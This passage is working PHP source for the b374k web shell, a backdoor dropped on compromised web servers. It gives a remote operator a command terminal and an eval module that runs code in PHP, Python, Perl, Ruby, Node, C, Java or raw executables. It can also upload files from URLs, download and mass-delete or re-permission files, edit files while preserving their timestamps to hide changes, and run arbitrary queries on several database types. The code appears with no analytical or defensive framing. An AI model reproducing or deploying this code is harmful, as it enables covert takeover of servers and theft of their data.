} if(!function_exists('eval_get_supported')){ function eval_get_supported(){ $eval_supported = array(); $eval_supported[] = "php"; $check = strtolower(execute("python -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "python"; $check = strtolower(execute("perl -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "perl"; $check = strtolower(execute("ruby -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "ruby"; $check = strtolower(execute("node -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "node"; else{ $check = strtolower(execute("nodejs -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "nodejs"; } $check = strtolower(execute("gcc --help")); if(strpos($check,"usage")!==false) $eval_supported[] = "gcc"; $check = strtolower(execute("java -help")); if(strpos($check,"usage")!==false){ $check = strtolower(execute("javac -help")); if(strpos($check,"usage")!==false) $eval_supported[] = "java"; } return implode(",", $eval_supported); }
} if(!function_exists('eval_go')){ function eval_go($evalType, $evalCode, $evalOptions, $evalArguments){ $res = ""; $output = ""; if($evalOptions!="") $evalOptions = $evalOptions." "; if($evalArguments!="") $evalArguments = " ".$evalArguments; if($evalType=="php"){ ob_start(); eval($evalCode); $res = ob_get_contents(); ob_end_clean(); return $res; } elseif(($evalType=="python")||($evalType=="perl")||($evalType=="ruby")||($evalType=="node")||($evalType=="nodejs")){ $tmpdir = get_writabledir(); chdir($tmpdir); $res .= "Using dir : ".$tmpdir; if(is_writable($tmpdir)){ $res .= " (writable)
"; $uniq = substr(md5(time()),0,8); $filename = $evalType.$uniq; $path = $filename; $res .= "Temporary file : ".$path; if(write_file($path, $evalCode)){ $res .= " (ok)
"; $res .= "Setting permissions : 0755"; if(chmod($path, 0755)){ $res .= " (ok)
"; $cmd = $evalType." ".$evalOptions.$path.$evalArguments; $res .= "Execute : ".$cmd."
"; $output = execute($cmd); } else $res .= " (failed)
"; $res .= "Deleting temporary file : ".$path; if(unlink($path)) $res .= " (ok)
"; else $res .= " (failed)
"; } else $res .= " (failed)
"; } else $res .= " (not writable)
"; $res .= "Finished..."; return $res."{[|b374k|]}".$output; } elseif($evalType=="gcc"){ $tmpdir = get_writabledir(); chdir($tmpdir); $res .= "Using dir : ".$tmpdir; if(is_writable($tmpdir)){ $res .= " (writable)
"; $uniq = substr(md5(time()),0,8); $filename = $evalType.$uniq.".c"; $path = $filename; $res .= "Temporary file : ".$path; if(write_file($path, $evalCode)){ $res .= " (ok)
"; $ext = (is_win())? ".exe":".out"; $pathres = $filename.$ext; $evalOptions = "-o ".$pathres." ".$evalOptions; $cmd = "gcc ".$evalOptions.$path; $res .= "Compiling : ".$cmd; $res .= execute($cmd); if(is_file($pathres)){ $res .= " (ok)
"; $res .= "Setting permissions : 0755"; if(chmod($pathres, 0755)){ $res .= " (ok)
"; $cmd = $pathres.$evalArguments; $res .= "Execute : ".$cmd."
"; $output = execute($cmd); } else $res .= " (failed)
"; $res .= "Deleting temporary file : ".$pathres; if(unlink($pathres)) $res .= " (ok)
"; else $res .= " (failed)
"; } else $res .= " (failed)
"; $res .= "Deleting temporary file : ".$path; if(unlink($path)) $res .= " (ok)
"; else $res .= " (failed)
"; } else $res .= " (failed)
"; } else $res .= " (not writable)
"; $res .= "Finished..."; return $res."{[|b374k|]}".$output; } elseif($evalType=="java"){ $tmpdir = get_writabledir(); chdir($tmpdir); $res .= "Using dir : ".$tmpdir; if(is_writable($tmpdir)){ $res .= " (writable)
"; if(preg_match("/class\ ([^{]+){/i",$evalCode, $r)){ $classname = trim($r[1]); $filename = $classname; } else{ $uniq = substr(md5(time()),0,8); $filename = $evalType.$uniq; $evalCode = "class ".$filename." { ".$evalCode . " } "; } $path = $filename.".java"; $res .= "Temporary file : ".$path; if(write_file($path, $evalCode)){ $res .= " (ok)
"; $cmd = "javac ".$evalOptions.$path; $res .= "Compiling : ".$cmd; $res .= execute($cmd); $pathres = $filename.".class"; if(is_file($pathres)){ $res .= " (ok)
"; $res .= "Setting permissions : 0755"; if(chmod($pathres, 0755)){ $res .= " (ok)
"; $cmd = "java ".$filename.$evalArguments; $res .= "Execute : ".$cmd."
"; $output = execute($cmd); } else $res .= " (failed)
"; $res .= "Deleting temporary file : ".$pathres; if(unlink($pathres)) $res .= " (ok)
"; else $res .= " (failed)
"; } else $res .= " (failed)
"; $res .= "Deleting temporary file : ".$path; if(unlink($path)) $res .= " (ok)
"; else $res .= " (failed)
"; } else $res .= " (failed)
"; } else $res .= " (not writable)
"; $res .= "Finished..."; return $res."{[|b374k|]}".$output; } elseif($evalType=="executable"){ $tmpdir = get_writabledir(); chdir($tmpdir); $res .= "Using dir : ".$tmpdir; if(is_writable($tmpdir)){ $res .= " (writable)
"; $uniq = substr(md5(time()),0,8); $filename = $evalType.$uniq.".exe"; $path = $filename; $res .= "Temporary file : ".$path; if(write_file($path, $evalCode)){ $res .= " (ok)
"; $cmd = $path.$evalArguments; $res .= "Execute : ".$cmd."
"; $output = execute($cmd); $res .= "Deleting temporary file : ".$path; if(unlink($path)) $res .= " (ok)
"; else $res .= " (failed)
"; } else $res .= " (failed)
"; } else $res .= " (not writable)
"; $res .= "Finished..."; return $res."{[|b374k|]}".$output; } return false; }
} if(!function_exists('output')){ function output($str){ $error = @ob_get_contents(); @ob_end_clean(); header("Content-Type: text/plain"); header("Cache-Control: no-cache"); header("Pragma: no-cache"); echo $str; die(); }
} if(!function_exists('is_git_repo')){ function is_git_repo(){ return boolval( find_git_repo(getcwd().DIRECTORY_SEPARATOR.".git") ); }
} if(!function_exists('find_git_repo')){ function find_git_repo($path){ if(dirname($path) == DIRECTORY_SEPARATOR){ return false; }else if(is_dir(dirname($path).DIRECTORY_SEPARATOR.".git")){ return dirname($path).DIRECTORY_SEPARATOR.".git"; }else{ return find_git_repo(dirname($path)); } }
} ?><?php block_bot();
auth();
chdir(get_cwd());
$nav = get_nav(get_cwd());
$p = array_map("rawurldecode", get_post());
$cwd = html_safe(get_cwd());
$GLOBALS['module'] = array(); $explorer_content = "";
if(isset($p['viewEntry'])){ $path = trim($p['viewEntry']); if(is_file($path)){ $dirname = realpath(dirname($path)).DIRECTORY_SEPARATOR; setcookie("cwd", $dirname); chdir($dirname); $nav = get_nav($dirname); $cwd = html_safe($dirname); $explorer_content = view_file($path, "auto"); } elseif(is_dir($path)){ $path = realpath($path).DIRECTORY_SEPARATOR; setcookie("cwd", $path); chdir($path); $nav = get_nav($path); $cwd = html_safe($path); $explorer_content = show_all_files($path); }
}
else $explorer_content = show_all_files(get_cwd()); $GLOBALS['module']['explorer']['id'] = "explorer";
$GLOBALS['module']['explorer']['title'] = "Explorer";
$GLOBALS['module']['explorer']['js_ontabselected'] = "";
$GLOBALS['module']['explorer']['content'] = $explorer_content; $GLOBALS['module']['terminal']['id'] = "terminal";
$GLOBALS['module']['terminal']['title'] = "Terminal";
$GLOBALS['module']['terminal']['js_ontabselected'] = "
if((!portableMode) && ($('#terminalOutput').html()=='')) $('#terminalInput').focus();";
$GLOBALS['module']['terminal']['content'] = "<pre id='terminalOutput'></pre><table id='terminalPrompt'><tr><td class='colFit'><span id='terminalCwd' class='strong'>".get_cwd()."&gt;</span</td><td id='terminalCommand'><input type='text' id='terminalInput' class='floatLeft' spellcheck='false'></td></tr></table>"; $GLOBALS['module']['eval']['id'] = "eval";
$GLOBALS['module']['eval']['title'] = "Eval";
$GLOBALS['module']['eval']['js_ontabselected'] = "
if((!portableMode) && ($('#evalOutput').html()=='You can also press ctrl+enter to submit')) $('#evalInput').focus();";
$GLOBALS['module']['eval']['content'] = "
<table class='boxtbl'>
<thead> <tr><th colspan='4'><p class='boxtitle'>Eval</p></th></tr>
</thead>
<tbody> <tr><td colspan='4'><textarea id='evalInput' spellcheck='false' style='height:140px;min-height:140px;'></textarea></td></tr> <tr id='evalAdditional'><td colspan='4'> <input type='text' id='evalOptions' value='Options/Switches' spellcheck='false' onkeydown=\"trap_enter(event, 'eval_go');\"> <input type='text' id='evalArguments' value='Arguments' spellcheck='false' onkeydown=\"trap_enter(event, 'eval_go');\"> </td></tr> <tr> <td style='width:144px;'> <select id='evalType'> </select> </td> <td colspan='3'> <span id='evalSubmit' style='width:120px;' class='button' onclick=\"eval_go();\">run</span> </td> </tr> <tr><td colspan='4'><pre id='evalOutput'>You can also press ctrl+enter to submit</pre></td</tr>
</tbody>
</table>
"; $res = "";
if(isset($p['cd'])){ $path = $p['cd']; if(trim($path)=='') $path = dirname(__FILE__); $path = realpath($path); if(is_file($path)) $path = dirname($path); if(is_dir($path)){ chdir($path); $path = $path.DIRECTORY_SEPARATOR; setcookie("cwd", $path); $res = $path."{[|b374k|]}".get_nav($path)."{[|b374k|]}"; if(isset($p['showfiles'])&&($p['showfiles']=='true')){ $res .= show_all_files($path); } } else $res = "error"; output($res);
}
elseif(isset($p['viewFile']) && isset($p['viewType'])){ $path = trim($p['viewFile']); $type = trim($p['viewType']); $preserveTimestamp = trim($p['preserveTimestamp']); if(is_file($path)){ $res = view_file($path, $type, $preserveTimestamp); } else $res = "error"; output($res);
}
elseif(isset($p['renameFile']) && isset($p['renameFileTo'])){ $renameFile = trim($p['renameFile']); $renameFileTo = trim($p['renameFileTo']); if(file_exists($renameFile)){ if(rename($renameFile, $renameFileTo)){ $res = dirname($renameFileTo); } else $res = "error"; } else $res = "error"; output($res);
}
elseif(isset($p['newFolder'])){ $newFolder = trim($p['newFolder']); if(mkdir($newFolder)){ $res = dirname($newFolder); } else $res = "error"; output($res);
}
elseif(isset($p['newFile'])){ $newFile = trim($p['newFile']); if(touch($newFile)){ $res = dirname($newFile); } else $res = "error"; output($res);
}
elseif(isset($p['delete'])){ $path = trim($p['delete']); $dirname = dirname($path); if(is_file($path)){ if(unlink($path)) $res = $dirname; } elseif(is_dir($path)){ if(rmdirs($path)>0) $res = $dirname; } else $res = "error"; if(file_exists($path)) $res = "error"; output($res);
}
elseif(isset($p['editType'])&&isset($p['editFilename'])&&isset($p['editInput'])&&isset($p['preserveTimestamp'])){ $editFilename = trim($p['editFilename']); $editInput = trim($p['editInput']); $editType = trim($p['editType']); $preserveTimestamp = trim($p['preserveTimestamp']); $time = filemtime($editFilename); if($editType=='hex') $editInput = pack("H*" , preg_replace("/\s/","", $editInput)); if(write_file($editFilename, $editInput)){ $res = $editFilename; if($preserveTimestamp=='true') touch($editFilename, $time); } else $res = "error"; output($res);
}
elseif(isset($p['findType'])){ $findType = trim($p['findType']); $findPath = trim($p['findPath']); $findName = trim($p['findName']); $findNameRegex = trim($p['findNameRegex']); $findNameInsensitive = trim($p['findNameInsensitive']); $findContent = trim($p['findContent']); $findContentRegex = trim($p['findContentRegex']); $findContentInsensitive = trim($p['findContentInsensitive']); $findReadable = trim($p['findReadable']); $findWritable = trim($p['findWritable']); $findExecutable = trim($p['findExecutable']); $candidate = get_all_files($findPath); if($findType=='file') $candidate = array_filter($candidate, "is_file"); elseif($findType=='folder') $candidate = array_filter($candidate, "is_dir"); else $res = "error"; foreach($candidate as $k){ if(($findType=="file")||($findType=="folder")){ if(!empty($findName)){ if($findNameRegex=="true"){ $case = ($findNameInsensitive=="true")? "i":""; if(!preg_match("/".$findName."/".$case, basename($k))){ $candidate = array_diff($candidate, array($k)); } } else{ $check = false; if($findNameInsensitive=="true"){ $check = strpos(strtolower(basename($k)), strtolower($findName))===false; } else{ $check = strpos(basename($k), $findName)===false; } if($check){ $candidate = array_diff($candidate, array($k)); } } } } if($findType=="file"){ if(!empty($findContent)){ $content = read_file($k); if($findContentRegex=="true"){ $case = ($findContentInsensitive=="true")? "i":""; if(!preg_match("/".$findContent."/".$case, $content)){ $candidate = array_diff($candidate, array($k)); } } else{ $check = false; if($findContentInsensitive=="true"){ $check = strpos(strtolower($content), strtolower($findContent))===false; } else{ $check = strpos($content, $findContent)===false; } if($check){ $candidate = array_diff($candidate, array($k)); } } } } } foreach($candidate as $k){ if($findReadable=="true"){ if(!is_readable($k)) $candidate = array_diff($candidate, array($k)); } if($findWritable=="true"){ if(!is_writable($k)) $candidate = array_diff($candidate, array($k)); } if($findExecutable=="true"){ if(!is_executable($k)) $candidate = array_diff($candidate, array($k)); } } if(count($candidate)>0){ $res = ""; foreach($candidate as $k){ $res .= "<p><span class='strong'>&gt;</span>&nbsp;<a data-path='".html_safe($k)."' onclick='view_entry(this);'>".html_safe($k)."</a></p>"; } } else $res = ""; output($res);
}
elseif(isset($p['ulType'])){ $ulSaveTo = trim($p['ulSaveTo']); $ulFilename = trim($p['ulFilename']); if($p['ulType']=='comp'){ $ulFile = $_FILES['ulFile']; if(empty($ulFilename)) $ulFilename = $ulFile['name']; if(is_uploaded_file($ulFile['tmp_name'])){ if(!is_dir($ulSaveTo)) mkdir($ulSaveTo); $newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename; if(move_uploaded_file($ulFile['tmp_name'], $newfile)){ $res = "<span class='strong'>&gt;</span>&nbsp;<a data-path='".html_safe($newfile)."' onclick='view_entry(this);'>".html_safe($newfile)."</a>&nbsp;( 100% )"; } else $res = "error"; } else $res = "error"; } elseif($p['ulType']=='url'){ $ulFile = trim($p['ulFile']); if(empty($ulFilename)) $ulFilename = basename($ulFile); if(!is_dir($ulSaveTo)) mkdir($ulSaveTo); $newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename; if(download($ulFile, $newfile)){ $res = "<span class='strong'>&gt;</span>&nbsp;<a data-path='".html_safe($newfile)."' onclick='view_entry(this);'>".html_safe($newfile)."</a>&nbsp;( 100% )"; } else $res = "error"; } else $res = "error"; output($res);
}
elseif(isset($p['download'])){ $file = trim($p['download']); if(is_file($file)){ header("Content-Type: application/octet-stream"); header('Content-Transfer-Encoding: binary'); header("Content-length: ".filesize($file)); header("Cache-Control: no-cache"); header("Pragma: no-cache"); header("Content-disposition: attachment; filename=\"".basename($file)."\";"); $handler = fopen($file,"rb"); while(!feof($handler)){ print(fread($handler, 1024*8)); @ob_flush(); @flush(); } fclose($handler); die(); }
}
elseif(isset($p['multimedia'])){ $file = trim($p['multimedia']); $mime_list = get_resource('mime'); $mime = ""; $file_ext_pos = strrpos($file, "."); if($file_ext_pos!==false){ $file_ext = trim(substr($file, $file_ext_pos),"."); if(preg_match("/([^\s]+)\ .*".$file_ext.".*/i", $mime_list, $res)){ $mime = $res[1]; } } if(is_file($file)){ header("Content-Type: ".$mime); header('Content-Transfer-Encoding: binary'); header("Content-length: ".filesize($file)); echo "data:".$mime.";base64,".base64_encode(read_file($file)); die(); }
}
elseif(isset($p['massType'])&&isset($p['massBuffer'])&&isset($p['massPath'])&&isset($p['massValue'])){ $massType = trim($p['massType']); $massBuffer = trim($p['massBuffer']); $massPath = realpath($p['massPath']).DIRECTORY_SEPARATOR; $massValue = trim($p['massValue']); $counter = 0; $massBufferArr = explode("
", $massBuffer); if(($massType=='tar')||($massType=='targz')||($massType=='zip')){ if(compress($massType, $massValue, $massBufferArr)){ $counter++; return $counter; } } else{ foreach($massBufferArr as $k){ $path = trim($k); if(file_exists($path)){ $preserveTimestamp = filemtime($path); if($massType=='delete'){ if(is_file($path)){ if(unlink($path)) $counter++; } elseif(is_dir($path)){ if(rmdirs($path)>0) $counter++; } } elseif($massType=='cut'){ $dest = $massPath.basename($path); if(rename($path, $dest)){ $counter++; touch($dest, $preserveTimestamp); } } elseif($massType=='copy'){ $dest = $massPath.basename($path); if(is_dir($path)){ if(copys($path, $dest)>0) $counter++; } elseif(is_file($path)){ if(copy($path, $dest)) $counter++; } } elseif(($massType=='untar')||($massType=='untargz')||($massType=='unzip')){ if(decompress($massType, $path, $massValue)){ $counter++; return $counter; } } elseif(!empty($massValue)){ if($massType=='chmod'){ if(chmod($path, octdec($massValue))) $counter++; } elseif($massType=='chown'){ if(chown($path, $massValue)) $counter++; } elseif($massType=='touch'){ if(touch($path, strtotime($massValue))) $counter++; } } } } } if($counter>0) output($counter); output('error');
}
elseif(isset($p['viewFileorFolder'])){ $entry = $p['viewFileorFolder']; if(is_file($entry)) output('file'); elseif(is_dir($entry)) output('folder'); output('error');
}
elseif(isset($p['terminalInput'])){ output(html_safe(execute($p['terminalInput'])));
}
elseif(isset($p['evalInput']) && isset($p['evalType'])){ $evalInput = $p['evalInput']; $evalOptions = (isset($p['evalOptions']))? $p['evalOptions']:""; $evalArguments = (isset($p['evalArguments']))? $p['evalArguments']:""; $evalType = $p['evalType']; error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE); @ini_set('html_errors','0'); @ini_set('display_errors','1'); @ini_set('display_startup_errors','1'); $res = eval_go($evalType, $evalInput, $evalOptions, $evalArguments); if($res===false) $res == "error"; output(html_safe($res));
}
elseif(isset($p['evalGetSupported'])){ $res = eval_get_supported(); output($res);
}
?><?php
$GLOBALS['module']['convert']['id'] = "convert";
$GLOBALS['module']['convert']['title'] = "Convert";
$GLOBALS['module']['convert']['js_ontabselected'] = "
if((!portableMode) && ($('#decodeResult').children().length==1)) $('#decodeStr').focus();";
$GLOBALS['module']['convert']['content'] = "
<table class='boxtbl'>
<thead> <tr><th colspan='2'><p class='boxtitle'>Convert</p></th></tr>
</thead>
<tbody> <tr><td colspan='2'><textarea style='height:140px;min-height:140px;' id='decodeStr'></textarea></td></tr> <tr><td colspan='2'><span class='button' onclick='decode_go();'>convert</span></td></tr>
</tbody>
<tfoot id='decodeResult'><tr><td colspan='2'>You can also press ctrl+enter to submit</td></tr></tfoot>
</table>"; if(!function_exists('decode')){ function decode($str){ $res = ""; $length = (int) strlen($str); $res .= decode_line("md5", md5($str), "input"); $res .= decode_line("sha1", sha1($str), "input"); $res .= decode_line("base64 encode", base64_encode($str), "textarea"); $res .= decode_line("base64 decode", base64_decode($str), "textarea"); $res .= decode_line("hex to string", @pack("H*" , $str), "textarea"); $res .= decode_line("string to hex", bin2hex($str), "textarea"); $ascii = ""; for($i=0; $i<$length; $i++){ $ascii .= ord(substr($str,$i,1))." "; } $res .= decode_line("ascii char", trim($ascii), "textarea"); $res .= decode_line("reversed", strrev($str), "textarea"); $res .= decode_line("lowercase", strtolower($str), "textarea"); $res .= decode_line("uppercase", strtoupper($str), "textarea"); $res .= decode_line("urlencode", urlencode($str), "textarea"); $res .= decode_line("urldecode", urldecode($str), "textarea"); $res .= decode_line("rawurlencode", rawurlencode($str), "textarea"); $res .= decode_line("rawurldecode", rawurldecode($str), "textarea"); $res .= decode_line("htmlentities", html_safe($str), "textarea"); if(function_exists('hash_algos')){ $algos = hash_algos(); foreach($algos as $algo){ if(($algo=='md5')||($algo=='sha1')) continue; $res .= decode_line($algo, hash($algo, $str), "input"); } } return $res; }
} if(!function_exists('decode_line')){ function decode_line($type, $result, $inputtype){ $res = "<tr><td class='colFit'>".$type."</td><td>"; if($inputtype=='input'){ $res .= "<input type='text' value='".html_safe($result)."' ondblclick='this.select();'>"; } else{ $res .= "<textarea style='height:80px;min-height:80px;' ondblclick='this.select();'>".html_safe($result)."</textarea>"; } return $res; }
} if(isset($p['decodeStr'])){ $decodeStr = $p['decodeStr']; output(decode($decodeStr));
}
?><?php
$GLOBALS['module']['database']['id'] = "database";
$GLOBALS['module']['database']['title'] = "Database";
$GLOBALS['module']['database']['js_ontabselected'] = "";
$GLOBALS['module']['database']['content'] = "
<table class='boxtbl'>
<thead> <tr><th colspan='3'><p class='boxtitle'>Connect</p></th></tr>
</thead>
<tbody> <tr class='dbHostRow'><td style='width:144px' class='dbHostLbl'>Host</td><td colspan='2'><input type='text' id='dbHost' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr> <tr class='dbUserRow'><td>Username</td><td colspan='2'><input type='text' id='dbUser' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr> <tr class='dbPassRow'><td>Password</td><td colspan='2'><input type='text' id='dbPass' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr> <tr class='dbPortRow'><td>Port (Optional)</td><td colspan='2'><input type='text' id='dbPort' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
</tbody>
<tfoot> <tr class='dbConnectRow'> <td style='width:144px;'> <select id='dbType'> </select> </td> <td style='width:120px;'><span class='button' onclick=\"db_connect();\">connect</span></td> <td class='dbError'></td> </tr> <tr class='dbQueryRow' style='display:none;'> <td colspan='3'><textarea id='dbQuery' style='min-height:140px;height:140px;'>You can also press ctrl+enter to submit</textarea></td> </tr> <tr class='dbQueryRow' style='display:none;'> <td style='width:120px;'><span class='button' onclick=\"db_run();\">run</span></td> <td style='width:120px;'><span class='button' onclick=\"db_disconnect();\">disconnect</span></td> <td>Separate multiple commands with a semicolon <span class='strong'>(</span> ; <span class='strong'>)</span></td> </tr>
</tfoot>
</table>
<div id='dbBottom' style='display:none;'>
<br>
<table class='border' style='padding:0;'><tr><td id='dbNav' class='colFit borderright' style='vertical-align:top;'></td><td id='dbResult' style='vertical-align:top;'></td></tr></table>
</div>
"; if(!function_exists('sql_connect')){ function sql_connect($sqltype, $sqlhost, $sqluser, $sqlpass){ if($sqltype == 'mysql'){ if(class_exists('mysqli')) return new mysqli($sqlhost, $sqluser, $sqlpass); elseif(function_exists('mysql_connect')) return @mysql_connect($sqlhost, $sqluser, $sqlpass); } elseif($sqltype == 'mssql'){ if(function_exists('sqlsrv_connect')){ $coninfo = array("UID"=>$sqluser, "PWD"=>$sqlpass); return @sqlsrv_connect($sqlhost,$coninfo); } elseif(function_exists('mssql_connect')) return @mssql_connect($sqlhost, $sqluser, $sqlpass); } elseif($sqltype == 'pgsql'){ $hosts = explode(":", $sqlhost); if(count($hosts)==2){ $host_str = "host=".$hosts[0]." port=".$hosts[1]; } else $host_str = "host=".$sqlhost; if(function_exists('pg_connect')) return @pg_connect("$host_str user=$sqluser password=$sqlpass"); } elseif($sqltype == 'oracle'){ if(function_exists('oci_connect')) return @oci_connect($sqluser, $sqlpass, $sqlhost); } elseif($sqltype == 'sqlite3'){ if(class_exists('SQLite3')) if(!empty($sqlhost)) return new SQLite3($sqlhost); else return false; } elseif($sqltype == 'sqlite'){ if(function_exists('sqlite_open')) return @sqlite_open($sqlhost); } elseif($sqltype == 'odbc'){ if(function_exists('odbc_connect')) return @odbc_connect($sqlhost, $sqluser, $sqlpass); } elseif($sqltype == 'pdo'){ if(class_exists('PDO')) if(!empty($sqlhost)) return new PDO($sqlhost, $sqluser, $sqlpass); else return false; } return false; }
} if(!function_exists('sql_query')){ function sql_query($sqltype, $query, $con){ if($sqltype == 'mysql'){ if(class_exists('mysqli')) return $con->query($query); elseif(function_exists('mysql_query')) return mysql_query($query); } elseif($sqltype == 'mssql'){ if(function_exists('sqlsrv_query')) return sqlsrv_query($con,$query); elseif(function_exists('mssql_query')) return mssql_query($query); } elseif($sqltype == 'pgsql') return pg_query($query); elseif($sqltype == 'oracle') return oci_execute(oci_parse($con, $query)); elseif($sqltype == 'sqlite3') return $con->query($query); elseif($sqltype == 'sqlite') return sqlite_query($con, $query); elseif($sqltype == 'odbc') return odbc_exec($con, $query); elseif($sqltype == 'pdo') return $con->query($query); }
} if(!function_exists('sql_num_rows')){ function sql_num_rows($sqltype,$result){ if($sqltype == 'mysql'){ if(class_exists('mysqli_result')) return $result->mysqli_num_rows; elseif(function_exists('mysql_num_rows')) return mysql_num_rows($result); } elseif($sqltype == 'mssql'){ if(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($result); elseif(function_exists('mssql_num_rows')) return mssql_num_rows($result); } elseif($sqltype == 'pgsql') return pg_num_rows($result); elseif($sqltype == 'oracle') return oci_num_rows($result); elseif($sqltype == 'sqlite3'){ $metadata = $result->fetchArray(); if(is_array($metadata)) return $metadata['count']; } elseif($sqltype == 'sqlite') return sqlite_num_rows($result); elseif($sqltype == 'odbc') return odbc_num_rows($result); elseif($sqltype == 'pdo') return $result->rowCount(); }
} if(!function_exists('sql_num_fields')){ function sql_num_fields($sqltype, $result){ if($sqltype == 'mysql'){ if(class_exists('mysqli_result')) return $result->field_count; elseif(function_exists('mysql_num_fields')) return mysql_num_fields($result); } elseif($sqltype == 'mssql'){ if(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($result); elseif(function_exists('mssql_num_fields')) return mssql_num_fields($result); } elseif($sqltype == 'pgsql') return pg_num_fields($result); elseif($sqltype == 'oracle') return oci_num_fields($result); elseif($sqltype == 'sqlite3') return $result->numColumns(); elseif($sqltype == 'sqlite') return sqlite_num_fields($result); elseif($sqltype == 'odbc') return odbc_num_fields($result); elseif($sqltype == 'pdo') return $result->columnCount(); }
} if(!function_exists('sql_field_name')){ function sql_field_name($sqltype,$result,$i){ if($sqltype == 'mysql'){ if(class_exists('mysqli_result')) { $z=$result->fetch_field();return $z->name;} elseif(function_exists('mysql_field_name')) return mysql_field_name($result,$i); } elseif($sqltype == 'mssql'){ if(function_exists('sqlsrv_field_metadata')){ $metadata = sqlsrv_field_metadata($result); if(is_array($metadata)){ $metadata=$metadata[$i]; } if(is_array($metadata)) return $metadata['Name']; } elseif(function_exists('mssql_field_name')) return mssql_field_name($result,$i); } elseif($sqltype == 'pgsql') return pg_field_name($result,$i); elseif($sqltype == 'oracle') return oci_field_name($result,$i+1); elseif($sqltype == 'sqlite3') return $result->columnName($i); elseif($sqltype == 'sqlite') return sqlite_field_name($result,$i); elseif($sqltype == 'odbc') return odbc_field_name($result,$i+1); elseif($sqltype == 'pdo'){ $res = $result->getColumnMeta($i); return $res['name']; } }
} if(!function_exists('sql_fetch_data')){ function sql_fetch_data($sqltype,$result){ if($sqltype == 'mysql'){ if(class_exists('mysqli_result')) return $result->fetch_row(); elseif(function_exists('mysql_fetch_row')) return mysql_fetch_row($result); } elseif($sqltype == 'mssql'){ if(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($result,1); elseif(function_exists('mssql_fetch_row')) return mssql_fetch_row($result); } elseif($sqltype == 'pgsql') return pg_fetch_row($result); elseif($sqltype == 'oracle') return oci_fetch_row($result); elseif($sqltype == 'sqlite3') return $result->fetchArray(1); elseif($sqltype == 'sqlite') return sqlite_fetch_array($result,1); elseif($sqltype == 'odbc') return odbc_fetch_array($result); elseif($sqltype == 'pdo') return $result->fetch(2); }
} if(!function_exists('sql_close')){ function sql_close($sqltype,$con){ if($sqltype == 'mysql'){ if(class_exists('mysqli')) return $con->close(); elseif(function_exists('mysql_close')) return mysql_close($con); } elseif($sqltype == 'mssql'){ if(function_exists('sqlsrv_close')) return sqlsrv_close($con); elseif(function_exists('mssql_close')) return mssql_close($con); } elseif($sqltype == 'pgsql') return pg_close($con); elseif($sqltype == 'oracle') return oci_close($con); elseif($sqltype == 'sqlite3') return $con->close(); elseif($sqltype == 'sqlite') return sqlite_close($con); elseif($sqltype == 'odbc') return odbc_close($con); elseif($sqltype == 'pdo') return $con = null; }
} if(!function_exists('sql_get_supported')){ function sql_get_supported(){ $db_supported = array(); if(function_exists("mysql_connect")) $db_supported[] = 'mysql'; if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $db_supported[] = 'mssql'; if(function_exists("pg_connect")) $db_supported[] = 'pgsql'; if(function_exists("oci_connect")) $db_supported[] = 'oracle'; if(function_exists("sqlite_open")) $db_supported[] = 'sqlite'; if(class_exists("SQLite3")) $db_supported[] = 'sqlite3'; if(function_exists("odbc_connect")) $db_supported[] = 'odbc'; if(class_exists("PDO")) $db_supported[] = 'pdo'; return implode(",", $db_supported); }
} if(isset($p['dbGetSupported'])){ $res = sql_get_supported(); if(empty($res)) $res = "error"; output($res);
}
elseif(isset($p['dbType'])&&isset($p['dbHost'])&&isset($p['dbUser'])&&isset($p['dbPass'])&&isset($p['dbPort'])){ $type = $p['dbType']; $host = $p['dbHost']; $user = $p['dbUser']; $pass = $p['dbPass']; $port = $p['dbPort']; $con = sql_connect($type ,$host , $user , $pass); $res = ""; if($con!==false){ if(isset($p['dbQuery'])){ $query = $p['dbQuery']; $pagination = ""; if((isset($p['dbDB']))&&(isset($p['dbTable']))){ $db = trim($p['dbDB']); $table = trim($p['dbTable']); $start = (int) (isset($p['dbStart']))? trim($p['dbStart']):0; $limit = (int) (isset($p['dbLimit']))? trim($p['dbLimit']):100; if($type=='mysql'){ $query = "SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$limit.";"; } elseif($type=='mssql'){ $query = "SELECT TOP ".$limit." * FROM ".$db."..".$table.";"; } elseif($type=='pgsql'){ $query = "SELECT * FROM ".$db.".".$table." LIMIT ".$limit." OFFSET ".$start.";"; } elseif($type=='oracle'){ $limit = $start + $limit; $query = "SELECT * FROM ".$db.".".$table." WHERE ROWNUM BETWEEN ".$start." AND ".$limit.";"; } elseif($type=='sqlite' || $type=='sqlite3'){ $query = "SELECT * FROM ".$table." LIMIT ".$start.",".$limit.";"; } else $query = ""; $pagination = "Limit <input type='text' id='dbLimit' value='".html_safe($limit)."' style='width:50px;'> <span class='button' onclick=\"db_pagination('prev');\">prev</span> <span class='button' onclick=\"db_pagination('next');\">next</span> <input type='hidden' id='dbDB' value='".html_safe($db)."'> <input type='hidden' id='dbTable' value='".html_safe($table)."'> <input type='hidden' id='dbStart' value='".html_safe($start)."'> "; } $querys = explode(";", $query); foreach($querys as $query){ if(trim($query) != ""){ $query_query = sql_query($type, $query, $con); if($query_query!=false){ $res .= "<p>".html_safe($query).";&nbsp;&nbsp;&nbsp;<span class='strong'>[</span> ok <span class='strong'>]</span></p>"; if(!empty($pagination)){ $res .= "<p>".$pagination."</p>"; } if(!is_bool($query_query)){ $res .= "<table class='border dataView sortable tblResult'><tr>"; for($i = 0; $i < sql_num_fields($type, $query_query); $i++) $res .= "<th>".html_safe(sql_field_name($type, $query_query, $i))."</th>"; $res .= "</tr>"; while($rows = sql_fetch_data($type, $query_query)){ $res .= "<tr>"; foreach($rows as $r){ if(empty($r)) $r = " "; $res .= "<td>".html_safe($r)."</td>"; } $res .= "</tr>"; } $res .= 